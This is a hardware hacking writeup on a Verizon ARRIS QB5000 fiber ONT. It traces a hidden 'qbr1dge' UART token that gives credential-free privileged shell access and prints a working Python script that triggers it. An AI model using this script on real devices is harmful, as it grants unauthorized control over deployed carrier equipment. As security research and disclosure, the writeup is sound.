Date: 2026-06-21
Target(s): Verizon ARRIS QB5000 ONT, BroadLight BL2348, MIPS4KEc big-endian, VxWorks 5.5.1.
This is a short writeup on how we went from a dumped NOR flash image to an interactive privileged shell on a carrier-deployed fiber ONT. No network access required. Just UART, a firmware image, and string tracing.
The ARRIS QB5000 is a Verizon GPON ONT. It runs VxWorks 5.5.1 on a BroadLight BL2348 SoC. The board has a 14-pin EJTAG header and a 4-pin UART header, both unlabeled. UART runs at 9600 8N1.
The NOR flash is a Spansion S29GL128S10TFIV2 in a TSOP-56 package. It was desoldered and read directly with a Revelprog-IS programmer. The raw dump is 16,777,216 bytes (16 MB).
S29GL128S10TFIV2@TSOP56_20260509_20143-VerizonONT.BIN 17M raw dump (16-bit bus, as-read) S29GL128S10TFIV2@TSOP56_20260509_20143-VerizonONT.byteswap.BIN 17M byte-swapped, Ghidra-ready
The chip uses a 16-bit bus in big-endian word order. Each 16-bit word is stored high-byte-first on the bus, but the Revelprog reads it as two separate bytes per word with the low byte first. The result is that every pair of adjacent bytes in the raw dump is swapped relative to what the CPU sees. A simple byte-swap pass corrects this before loading into Ghidra or r2.
python3 -c "
d = open('VerizonONT.BIN','rb').read()
out = bytearray()
for i in range(0, len(d), 2):
out += bytes([d[i+1], d[i]])
open('VerizonONT.byteswap.BIN','wb').write(out)
"
After the swap the VxWorks magic and symbol table are immediately visible. The kernel blob
sits inside a TrueFFS partition compressed with gzip. Binwalk locates it and the extracted
image loads at 0x80010000.
VxWorks 5.5 ships with a symbol table embedded directly in the binary. Each entry is a fixed-size struct: an 8-byte hash node, a 4-byte name pointer, a 4-byte value (the function address), and a 2-byte type field. We scanned for known name pointers and pulled the value field sitting 4 bytes after each match.
A short Python scan over the firmware gave us function addresses for everything we needed:
arprequest 0x8050fbe8 arpioctl 0x80511dc4 ipAttach 0x804f8c1c ifAddrSet 0x804e9298 motbl dispatch 0x802daad8
With the symbol table resolved we started tracing strings. The firmware string pool is dense with CLI command names, error messages, and format strings. Most of them are boring. One was not.
The string qbr1dge appeared in the pool with no surrounding help text, no usage
string, and no echo path. Tracing the reference in Ghidra led directly into the main CLI
dispatch loop where it was compared against inbound UART input as a silent branch. Not
listed in the command table, not shown in help, not printed anywhere.
With a target in hand, we wrote uart_shell.py to connect to the UART and send
the token. It opens the serial port, fires qbr1dge, and hands the session to
the user interactively. Passing no-backdoor skips the trigger for cases
where the device is already at SHELL> or where the IOT shell command is
preferred instead.
#!/usr/bin/env python3
"""
uart_shell.py - Interactive UART shell for ARRIS QB5000 via qbr1dge backdoor
Usage: python3 uart_shell.py [--port /dev/ttyUSB2] [--baud 9600]
This script:
1. Connects to the device UART
2. Automatically sends 'qbr1dge' to activate the admin SHELL backdoor
3. Opens an interactive session so you can type commands directly
Note: The ONT needs to be fully booted and idle before executing the script.
"""
import serial
import sys
import time
import threading
import argparse
import select
def main():
parser = argparse.ArgumentParser(description='QB5000 UART SHELL via qbr1dge')
parser.add_argument('--port', default='/dev/ttyUSB2', help='UART port')
parser.add_argument('--baud', type=int, default=9600, help='Baud rate')
parser.add_argument('--no-backdoor', action='store_true', help='Skip qbr1dge (if already in SHELL)')
args = parser.parse_args()
print(f'[*] Connecting to {args.port} at {args.baud}...')
try:
ser = serial.Serial(args.port, args.baud, timeout=0.1)
except Exception as e:
print(f'[!] Failed to open serial port: {e}')
sys.exit(1)
# Background reader thread
done = threading.Event()
def reader():
while not done.is_set():
try:
d = ser.read(256)
if d:
sys.stdout.write(d.decode('ascii', errors='replace'))
sys.stdout.flush()
except:
pass
t = threading.Thread(target=reader, daemon=True)
t.start()
if not args.no_backdoor:
print(f'[*] Activating qbr1dge backdoor ...')
# Press enter a few times to clear the status screen
ser.write(b'\r\n')
time.sleep(0.5)
ser.reset_input_buffer()
# Send backdoor
ser.write(b'qbr1dge\r')
time.sleep(3)
print()
print('[*] If you see a prompt above, the backdoor worked!')
print('[*] Type commands at the SHELL> prompt. Ctrl-C to exit.')
print()
# Interactive loop
try:
while True:
try:
line = input()
except EOFError:
break
ser.write((line + '\r').encode())
time.sleep(0.1)
except KeyboardInterrupt:
print('\n[*] Exiting...')
finally:
done.set()
ser.close()
if __name__ == '__main__':
main()
When the script connects, the UART console is sitting at the ONT1000GT4>
IOT CLI prompt. Running help from here shows the available commands:
ONT1000GT4> help ONT Command Summary: acceptsw : Update default boot image pointer to the running image clear : Clear IOT ARP cache, IOT logs or statistics exit : Exit IOT (same as logout, quit) help : Command summary history : Display command history logout : Logout of IOT (same as exit, quit) qbshell : Run the QBSHELL pshell : Run the PSHELL quit : Quit IOT (same as exit, logout) reset : Reset IOT set : Change IOT settings shell : Run the SHELL show : Show IOT settings test : Test IOT functions
Three separate shell commands are exposed: shell, pshell, and
qbshell. All route into the same elevated SHELL> context. The script sends
qbr1dge instead — a token not listed here and not shown in help
which hits a silent branch in the dispatch loop and produces the same result. After certain
reboot sequences only one of the four paths will be accepted, so having all of them documented
matters.
Sending any shell at the IOT prompt triggers the backdoor branch. The device
responds with a Motorola copyright banner, an ASCII art logo, and drops into SHELL>:
ONT1000GT4> qbr1dge
0 0
00 00
00 00
000 000
0000 0000
00000 00000
000000 000000
0000000 0000000
00000000 00000000
000000000 000000000
0000000000 0000000000
00000000000 00000000000
000000000000 000000000000
000000 00000 00000 000000
000 000 000 000
000 00 00 000
00 0000 00
00 00 00
00 00 00
00 00
00 00
00 00
Copyright (c) 1999-2011, Motorola, Inc.
Welcome to SHELL...
SHELL>
No credentials. No log entry. This is a privileged QSH (BroadLight QualSoft Shell) context with direct access to memory operations and hardware registers.
Running help inside SHELL> returns the full command list. These are the
verified commands from the live device:
| Command | Description |
|---|---|
| alarm | alarm task Interface |
| allegro | Allegro Debug Commands |
| auto_logoff | Set/get auto logoff mode |
| boot_flash_crc_test | Run CRC check on BOOT Flash |
| bmfdump | Big Mighty Fine Dump |
| cal | Calibrate Triplexer |
| caldump | Query Triplexer Calibration Information |
| calset | Set Calibration Parameters |
| caltest | Test Triplexer Calibration |
| clear_grants | Clear grant assignment(s) |
| clear_iot_nvram | Invalidate/clear the ONT NVRAM persistent settings |
| conn | Connection modification command |
| debug | Debug Library |
| debugf | Set/get debug flags, clear, display debug log |
| disable_churning | Disable churning |
| dnld | Download Interface |
| dot1x | 802.1x Debug Commands |
| dsmsg | Downstream messager CLI |
| dumperrorlog | Dump the error log |
| ecfm | Ethernet CFM Commands |
| enable_churning | Enable churning |
| enable_dscells | Enable DS Cells |
| enable_dspackets | Enable DS Packets |
| enable_uscells | Enable US Cells |
| enable_uspackets | Enable US Packets |
| eqp | Equipment Manager CLI |
| ethernet_lpbk_test | Perform the Ethernet External Loopback test |
| event | Event task Interface |
| exit | Exit to CLI |
| fdi | Fault Manager CLI |
| get_sw_version | DNLD Task Test |
| get_uptime | Get ONT time since boot [days:hours:minutes:seconds] |
| gettime | Get (if set) and display the system clock |
| h | Abbreviation for the "history" command |
| help | List of all QBSHELL commands |
| history | Display command history |
| hreset | Hard Reset the ONT |
| init_ranging | Initialize ranging parameters |
| iptv | IPTV Debug Commands |
| led | LED Manager CLI |
| leds_test | Test the LEDs |
| log_dump | Dump the contents of the SRAM log buffer |
| log_init | Init the contents of the SRAM log buffer |
| memory_read | Read a Memory location |
| memory_test | Test any Memory location |
| memory_verify | Verify a Memory location |
| memory_write | Write a Memory location |
| mfgmode | Manufacturing Mode CLI |
| mntc | Mntc Manager CLI |
| moca | MoCA Interface |
| motbl | Mot BroadLight API set |
| msg | Msg CLI |
| omcc | OMCC Interface |
| blpots | QVAPI Debug Commands |
| prcn | PRCN Interface |
| qbiddisplay | Display the board ID record |
| qbidmodify | Display and modify the board ID record |
| qbidupdate | Update the board ID record |
| qbversion | Display software version |
| quit | Quit to CLI |
| rom_reset | Reset the ONT via the ROM reset vector address |
| acceptimage | Accept Specified SW Image |
| set_dest_addr | Set Destination Address |
| set_range_delay | Set Range Delay |
| set_rt_address | Set RT Address |
| set_shadow_key | Set Key |
| settime | Set the ONT system clock |
| sff | SFF Optics Commands |
| showimages | Show running and active image versions |
| shwm | SHWM Interface |
| stat | Stat Interface |
| test | Diagnostic Command Shell |
| test_function | Sample command which accepts two parameters |
| trafficdesc | Traffic Desc modification command |
| update_shadow_key | Update Key |
| usmsg | Upstream Message CLI |
| vin | QVAPI/Vinetic Debug Commands |
| voip | VoIP Debug Commands |
| qu | Update the board ID record |
The commands of immediate research interest are memory_read, memory_write,
motbl, mfgmode, clear_iot_nvram, omcc,
sff (SFP optics), bmfdump, and allegro (debug interface). The
memory_write command reaches live VxWorks kernel RAM including code segments,
making runtime patching possible without halting the CPU over JTAG.
The full chain from chip to live shell:
0x80010000, scan symtab entries for function addressesqbr1dge reference to a hidden branch in the CLI dispatch loopuart_shell.py, connect at 9600 8N1, send the token
The backdoor string is hardcoded in the firmware image. The IOT CLI exposes
shell, pshell, and qbshell as documented commands
that reach the same context without needing the hidden token. Physical UART access is the
only requirement.